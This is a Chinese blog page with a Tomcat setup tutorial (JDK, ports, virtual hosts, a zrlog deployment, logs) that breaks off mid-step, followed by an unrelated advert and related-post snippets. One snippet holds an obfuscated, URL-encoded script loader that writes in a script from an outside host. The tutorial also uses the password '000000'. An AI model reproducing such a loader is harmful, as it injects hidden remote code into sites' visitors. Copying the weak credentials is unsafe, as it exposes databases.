[16] Tomcat配置

解决win11无法安装.net framework 3.5(包括.net2.0和3.0)错误代码:0x80070005 阅读详情

[16] Tomcat配置

16.1 Tomcat介绍

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器

1. Tomcat是Apache软件基金会(Apache Software Foundation)的Jakarta项目中的一个核心项目,由Apache、Sun和其他一些公司及个人共同开发而成。

2. java程序写的网站用tomcat+jdk来运行

3. tomcat是一个中间件,真正起作用的,解析java脚本的是jdk

4. jdk(java development kit)是整个java的核心,它包含了java运行环境和一堆java相关的工具以及java基础库。

5.  最主流的jdk为sun公司发布的jdk,除此之外,其实IBM公司也有发布JDK,CentOS上也可以用yum安装openjdk

16.2 安装JDK

JDK 是Java开发工具包 (Java Development Kit ) 的缩写。它是一种用于构建在 Java 平台上发布的应用程序、applet 和组件的开发环境。其中包括了Java编译器、JVM、大量的Java工具以及Java基础API里面是Java类库和Java的语言规范,同时Java语言的任何改进都应当加到其中,作为后续版本发布。要成为一名程序员,JDK是一种最基本的工具。

  • 下载JDK
http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html
  • 安装JDK
[root@localhost src]# tar -zxvf jdk-8u144-linux-x64.tar.gz 

[root@localhost src]# mv jdk1.8.0_144/ /usr/local/jdk1.8

编辑etc/profile设置环境变量
[root@localhost src]# vim /etc/profile
后面添加以下信息:
JAVA_HOME=/usr/local/jdk1.8/
JAVA_BIN=/usr/local/jdk1.8/bin
JRE_HOME=/usr/local/jdk1.8/jre
PATH=$PATH:/usr/local/jdk1.8/bin:/usr/local/jdk1.8/jre/bin
CLASSPATH=/usr/local/jdk1.8/jre/lib:/usr/local/jdk1.8/lib:/usr/local/jdk1.8/jre/lib/charsets.jar

[root@localhost src]# source /etc/profile

验证java是否安装成功
[root@localhost src]# java -version
openjdk version "1.8.0_102"
OpenJDK Runtime Environment (build 1.8.0_102-b14)
OpenJDK 64-Bit Server VM (build 25.102-b14, mixed mode)

16.3 安装Tomcat

Apache 为HTML页面服务,而Tomcat 实际上运行JSP 页面和Servlet。另外,Tomcat和IIS等Web服务器一样,具有处理HTML页面的功能,另外它还是一个Servlet和JSP容器,独立的Servlet容器是Tomcat的默认模式。不过,Tomcat处理静态HTML的能力不如Apache服务器

  • 下载Tomcat
[root@localhost src]# wget http://apache.fayea.com/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gz
  • 安装Tomcat
[root@localhost src]# tar -zxvf apache-tomcat-8.5.20.tar.gz
[root@localhost src]# mv apache-tomcat-8.5.20 /usr/local/tomcat
  • 启动Tomcat
[root@localhost src]# /usr/local/tomcat/bin/startup.sh


  • 关闭Tomcat

Tomcat不支持restart

[root@localhost src]# /usr/local/tomcat/bin/shutdown.sh
  • Tomcat调用端口
8080为提供web服务的端口
8005为管理端口
8009端口为第三方服务调用的端口,比如httpd和Tomcat结合时会用到

16.4 配置Tomcat监听80端口

Tomcat默认端口为8080,修改配置文件conf/server.xml可以更改默认配置文件。

  • 更改配置文件
[root@localhost ~]# vim /usr/local/tomcat/conf/server.xml
搜索关键字8080,修改8080为80

[root@localhost ~]# /usr/local/tomcat/bin/shutdown.sh
[root@localhost ~]# /usr/local/tomcat/bin/startup.sh
  • 查看启动的默认端口
[root@localhost ~]# netstat -lntp |grep java
如果端口没有启用,查看端口是否被其他web应用占用比如nginx,apache等

16.5 配置Tomcat虚拟主机

修改配置文件tomcat/conf/server.xml

  • 配置虚拟主机配置文件
[root@localhost ~]# vim /usr/local/tomcat/conf/server.xml

每一对<Host ****> </Host>中间包含一个虚拟主机

<Host name="www.java.com" appBase=""
    unpackWARs= "true" autoDeploy="true"
    xmlValidation="false" xmlNamespaceAware="false">
    <Context path="" docBase="/data/www/java.com/" debug="0" reloadable="true" crossContext="true"/>
</Host>

name            域名
appBase         指定虚拟主机的目录,可以指定绝对目录,也可以指定相对于<CATALINA_HOME>的相对目录.如果没有此项,默认为<CATALINA_HOME>/webapps. 它将匹配请求和自己的Context的路径,并把请求转交给对应的Context来处理
unpackWARs      如果此项设置为true,表示把WEB应用的WAR文件先展开为开放目录结构后再运行.如果设为false将直接运行为WAR文件
autoDeploy      如果此项设为true,表示Tomcat服务处于运行状态时,能够监测appBase下的文件,如果有新有web应用加入进来,会自运发布这个WEB应用
docBase        这个参数和appbase二选一。用来定义网站的文件存放路径,如果不定义,默认是在appBase/ROOT下面,定义了docBase就以该目录为主了,其中appBase和docBase可以一样
  • 搭建zrlog搭建博客

下载zrlog

[root@localhost src]# wget http://dl.zrlog.com/release/zrlog-1.7.1-baaecb9-release.war
[root@localhost src]# cp zrlog-1.7.1-baaecb9-release.war /usr/local/tomcat/webapps/
[root@localhost webapps]# cd /usr/local/tomcat/webapps/
[root@localhost webapps]# ls
docs      host-manager  manager  zrlog-1.7.1-baaecb9-release
examples  logs          ROOT     zrlog-1.7.1-baaecb9-release.war
可以看到war包已经自动解压好了
[root@localhost webapps]# mv zrlog-1.7.1-baaecb9-release zrlog

创建数据库和用户
[root@localhost tomcat]# ps aux |grep mysql
[root@localhost ~]# mysql -uroot -p000000
MySQL > create database zrlog;
MySQL > grant all on zrlog.* to 'zrlog'@127.0.0.1 identified by '000000';

浏览器配置zrlog

浏览器输入url:192.168.1.11/zrlog

mark

根据提示写入相应的信息,创建成功
mark

  1. 设置默认url的index页
上面配置文件中,定义了docbase目录路径/data/www/java.com/。所以我们将zrlog的目录下所有文件都放在docbase下
[root@localhost ~]# mkdir /data/www/java.com
[root@localhost ~]# mv /usr/local/tomcat/webapps/zrlog/* /data/www/java.com/
[root@localhost ~]# /usr/local/tomcat/bin/shutdown.sh 
[root@localhost ~]# /usr/local/tomcat/bin/startup.sh 

如果是自建的webapps目录,下面必须要创建ROOT目录,用于存放index.jsp等主页代码或者图片等信息

16.6 Tomcat日志

日志文件:/usr/local/tomcat/log

  • 日志信息
[root@localhost ~]# ls /usr/local/tomcat/logs/
catalina.2017-08-28.log      localhost.2017-08-30.log
catalina.2017-08-29.log      localhost_access_log.2017-08-28.txt
catalina.2017-08-30.log      localhost_access_log.2017-08-29.txt
catalina.out                 localhost_access_log.2017-08-30.txt
host-manager.2017-08-28.log  manager.2017-08-28.log
host-manager.2017-08-29.log  manager.2017-08-29.log
host-manager.2017-08-30.log  manager.2017-08-30.log
localhost.2017-08-28.log     zrlog
localhost.2017-08-29.log

1. catalina开头的日志为Tomcat的综合日志,它记录Tomcat服务相关信息,也会记录错误日志。  

2. catalina.2017-xx-xx.log和catalina.out内容相同,前者会每天生成一个新的日志。

3. host-manager和manager为管理相关的日志,其中host-manager为虚拟主机的管理日志。

4. localhost和localhost_access为虚拟主机相关日志,其中带access字样的日志为访问日志,不带access字样的为默认虚拟主机的错误日志。


  • 配置日志

访问日志默认不会生成,需要在server.xml中配置
“`
[root@localhost ~]# vim /usr/local/tomcat/conf/server.xml
虚拟主机配置配置下追加以下:

VI4302 1D dToF Sensor助力无人机定高避障:一场前所未有的飞行体验 另外,传感器因测量精度不够,产生的高度信息误差,会导致无人机无法精确定高,影响飞行稳定性和安全降落。芯视界于2022年发布的全新一代基于单光子探测技术的dToF激光雷达传感器芯片-VI4302,采用单电源低功耗系统,实现高性能测距、高稳定性,同时具备极强抗阳光能力以及兼容性等强大优势。无人机可以根据传感器提供的信息,快速调整飞行路径,避开潜在的障碍物,确保平稳的飞行。VI4302 1D dToF Sensor能够以极高的精度测量物体与无人机之间的距离,实现毫米级别的测量精度。⭐ 体型小巧,灵敏度高。 阅读详情

相关推荐

超详细!动态规划详解分析(典型例题分析和对比,附源码)

为啥要使用动态规划?什么时候使用动态规划?以下是我的一些理解和心得,如果你感兴趣,就接着往下看吧。 对您有帮助的话记得给我点个赞哟! 动态规划的基本思想 动态规划(Dynamic Programming,DP)算法通常用于求解某种具有最优性质的问题。在这类问题中,可能会有许多可行解,每一个解都对应一个值,我们希望找到具有最优值的解。 动态规划算法与分治法类似,其基本思想也是将待求解的问题分解成若干个子问题,先求解子问题,然后从这些子问题的解中 得到原有问题的解。与分治法不同的是,动态规划经分解后得到的子问题

qq_44398094的博客 8万+

请问开发java项目,使用tomcat哪个版本比较好?各个版本有什么区别?

2019独角兽企业重金招聘Python工程师标准>>> ...

weixin_33796205的博客 5103

电子产品的老化测试有哪些类型?

因此,越来越多的人在寻找“已知合格的测试连接器”,即经过测试具有可靠性和有效性的测试连接器,可以在老化测试中制定优化方法。例如对于芯片来说,不同的封装有不同的老化测试座,QFP老化测试座,QFN老化测试座等。老化测试时,专用老化电路板上的元件将承受等于或高于其额定工作条件的压力,以消除任何在额定寿命之前过早失效的元件。静态老化:在此类系统中,将测试设备安装到老化板上的插座中,然后放入老化箱中,其中每隔12至24小时施加电源和高温。动态老化:在动态老化系统中,设备以老化速度设定的最大速率进行测试。

软件技术的专栏 1840

Tomcat与JDK版本对应关系,Tomcat各版本特性

文章目录Alpha / Beta / StableApache Tomcat 9.xApache Tomcat 8.xApache Tomcat 7.xApache Tomcat 6.x Apache Tomcat是一个开源软件实现了Java Servlet和Java Server Pages技术。不同版本的Servlet和JSP规范可使用不同版本的Apache Tomcat。Tomcat与JDK...

ThinkWon的博客 7万+

《机器学习》周志华_自学记录

第一章绪论## 1.1引言机器学习所研究的主要内容,是关于在计算机上从数据中产生"模型"(model)的算法,即"学习算法"(learning algorithm).在面对新的情况时(例如看到一个没剖开的西瓜),模型会给我们提供相应的判断(例如好瓜).如果说计算机科学是研究关于"算法"的学问,那么类似的,可以说机器学习是研究关于"学习算法"的学问.## 1.2基本术语:用于预测离散值,例如将样本分为“好瓜”或“坏瓜”。:用于预测连续值,例如西瓜的成熟度(如0.95、0.37)。

2201_75296678的博客 2534

AMP架构下的核间通信:RPMSG与共享内存原理详解

本文以RK3568等异构多核硬件为例,深入浅出解析了AMP架构下核间通信的核心逻辑,阐明RPMSG并非替代共享内存,而是以共享内存为数据载体、硬件信箱为中断通知工具、VirtIO为数据管理规则,构建的标准化高层协议与框架,为开发者提供简洁API,实现不同操作系统核心间高效通信。

qq_61335271的博客 2051

java tomcat版本_Tomcat与JDK版本对应关系以及Tomcat各版本特性

Apache Tomcat是一个开源软件实现了Java Servlet和Java Server Pages技术。不同版本的Servlet和JSP规范可使用不同版本的Apache Tomcat。Tomcat与JDK版本对应关系为:Servlet规格JSP规范EL规格WebSocket规范JASPIC规格Apache Tomcat版本最新发行版本支持的Java版本4.02.33.01.11.19.0....

weixin_30896451的博客 5013

安卓 实现灯光闪过效果

有个小需求,给按钮加一个灯光划过的效果,这样的需求一般有UI,肯定就找UI了要个gif图不就完事了,可是这次没有,好久自己做一个嘛。Web端的大佬实现很快,到安卓这边呢,百度一搜发现诶?怎么没有,好吧自己来一个 一切动效相关的不给图看都是耍流氓 所以俺不能这么干啊,OK!直接上效果图,再来解释下怎么实现的 效果就是这样子,怎么实现呢? 从图分析下,就是一个光写着重左边移动要右边循环嘛,这有啥难的?? 来看一看我的第一版,第二版 这是个什么?????一点都不像啊? 赶紧再问了问Web端大佬,噢,加了一个

SummerCloudXT的博客 1382

tomcat配置-环境变量

1、  安装JDK,设置环境变量: JAVA_HOME: D:\tool\jdk1.6.0_10   CLASSPATH: .;D:\tool\jdk1.6.0_10\lib;D:\tool\jdk1.6.0_10\lib\tools.jar   PATH: .;D:\tool\jdk1.6.0_10\lib;D:\tool\jdk1.6.0_10\lib\tools.jar;D:

funi16的专栏 620

AMD显卡跑MiniMax H3提速30%:SageAttention ROCm适配全记录

在Transformer架构的视频生成模型中,注意力计算往往是性能瓶颈,尤其当显存资源受限时,低精度量化与内核优化成为关键突破口。SageAttention通过将QK^T矩阵乘法量化为INT8,并以FP16/INT4表达注意力概率矩阵,在保证画质的前提下显著降低访存与计算开销,相比传统FlashAttention具备更高速度上限。这一技术价值在本地部署场景尤为突出——当用户使用非NVIDIA显卡运行大型视频模型时,通用优化库常因依赖CUDA而失效。本文聚焦AMD ROCm平台下的MiniMax H3视频生成

weixin_32238157的博客 289

【ROS机器人系统】实验4 ROS简单应用:激光SLAM与导航

ROS简单应用:激光SLAM与导航 (1)了解机器人和SLAM之间关系 (2)了解激光SLAM (3)了解gmapping和导航

南京大学软件工程硕士在读 2148

tomcat运行错误: 无效的源发行版:16

roydon 1922

OsgEarth开发笔记(三):Osg3.6.3+OsgEarth3.1+vs2019x64开发环境搭建(下)

上一篇编译了proj6.2.0、gdal3.2.1,本篇继续。 OsgEarth的编译,是基于Osg和OsgEarth结合在一起的,先要编译Osg,然后编译OsgEarth。OsgEarth的依赖库较多,分为上、中、下三篇,然后单独有一篇如何将编译好的osgEarth集成到Qt中。

长沙红胖子 Qt・西安|省级科研团队从业背景,深耕双一流体系高精尖技术配套研发|剥离高精尖机理,沉淀高端特种行业领域 Qt 工程化落地经验|博文仅分享通用技术总结,输出公开普适工程思路。 4万+

ubuntu16.04配置tomcat环境

虽然现在越来越多公司和个人使用SpringBoot框架来开发项目,外部tomcat的部署显示没那么必要。但对于一些还没有进行版本迭代的项目,外部tomcat还是必要的。本文主要讲述如何在ubuntu16.04配置tomcat环境。

rocky的编程随记 1万+

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

Ubuntu 16.04下安装和配置Tomcat

一、准备:已经配置好Java环境的Ubuntu16.04电脑。        配置Java环境可以参照我的博客:Ubuntu 16.04下载JDK并且配置Java开发环境。 二、下载Tomcat,打开官网http://tomcat.apache.org/download-70.cgi,在左边Download栏下选择你需要的Tomcat版本 三、解压文件        解压文件的方法...

G_66_hero的博客 2370

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

Ubuntu16.04配置TOMCAT8

基于虚拟机Ubuntu16.04配置Tomcat过程 一、安装JDK 首先要确定好要安装的jdk和tomcat版本能对的上,具体如图所示: 版本选择是Jdk1.8,首先上官网http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.htm...

dhfsfs14572的专栏 150

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

Ununtu16.04 配置Tomcat

前提,已经安装好Java JDK,并配置了环境变量 1.下载Tomcat,地址:Tomcat 2.打开终端,为Tomcat创建一个文件夹,并将下载的文件复制进去 新建文件夹: sudo mkdir /usr/local/tomcat 复制文件: sudo cp /home/zhx/下载/apache-tomcat-9.0.22.tar.gz /usr/local/tomcat 查...

weixin_42176639的博客 313

Tomcat5.5.16 简单配置

 HTML Tags and JavaScript tutorialvar encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);

wmh4242424cs的专栏 357

在Ubuntu 16.04上安装和配置Tomcat 8

出处:原始链接 简介 Tomcat 是被广泛使用的开源web服务器,它具有轻量级、使用简单灵活的优点,并且具有大量插件的生态系统。本文带你了解在Ubuntu 16.04上如何安装和配置Tomcat 8。 你需要 Ubuntu 16.04服务器 sudo权限的非root用户。 安装jdk 开始之前需要更新apt-get软件列表,可以使用命令: sudo apt-get update ...

风一样的安姑娘的专栏 956

在CentOS7.4安装Tomcat8.5.16及环境变量配置

在CentOS7.4安装Tomcat8.5.16及环境变量配置一、下载tomcat8.5.16二、安装tomcat8.5.16存在一些问题 一、下载tomcat8.5.16 可以到我的网盘下载 链接: https://pan.baidu.com/s/1GKZeujTDJJyKY_YNcB23Rw 提取码: y5kw 二、安装tomcat8.5.16 首先通过Xshell连接好服务器,再通过x...

qq_40665533的博客 782

Fedora16 安装配置 Tomcat

找到一篇关于fedora16上架构Tomcat的Blog,索性转一下: 转自:http://blog.youkuaiyun.com/LibNux/article/details/7066624 ----------------------------------------------------------------------------- To integrate Tomcat 7.0.23

china_lzn的专栏 1159

Ubuntu 16.04 安装配置Tomcat 8

Ubuntu 16.04安装Tomcat 8 此篇为http://www.cnblogs.com/EasonJim/p/7139275.html的分支页。 前提:必须正确安装JDK。 一、通过二进制包(tar.gz)安装 下载: https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-8/v8.5.16/bin/ 如果是在命

WHO ARE YOU 681

ubuntu16.04安装并配置tomcat9.0.0

1、下载 点击官方下载地址 (需翻墙)下载tomcat9.0.0 tar.gz版本 图1 官网下载地址 2、安装 我们希望把tomcat安装到/opt路径下,首先在/opt下创建tomcat文件夹 然后通过命令tar -zxvf 文件名 -C 路径将下载好的gz文件解压并移动到/opt/tomcat目录下,注意此步骤

qq_35787905的博客 2475

Ubuntu16.04 64位配置jdk,tomcat,mysql。。。

配置jdk 1.解压jdk到/home/onion/user/lib 2.输入sudo gedit ~/.bashrc命令 3.打开的文件添加:         export JAVA_HOME=/home/onion/user/lib/jdk1.8         export CLASSPATH=${JAVA_HOME}/lib         export PATH=${JAVA

onion的博客 1333
上一篇: [15] FTP服务搭建与配置
下一篇: [17] Mysql主从配置
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值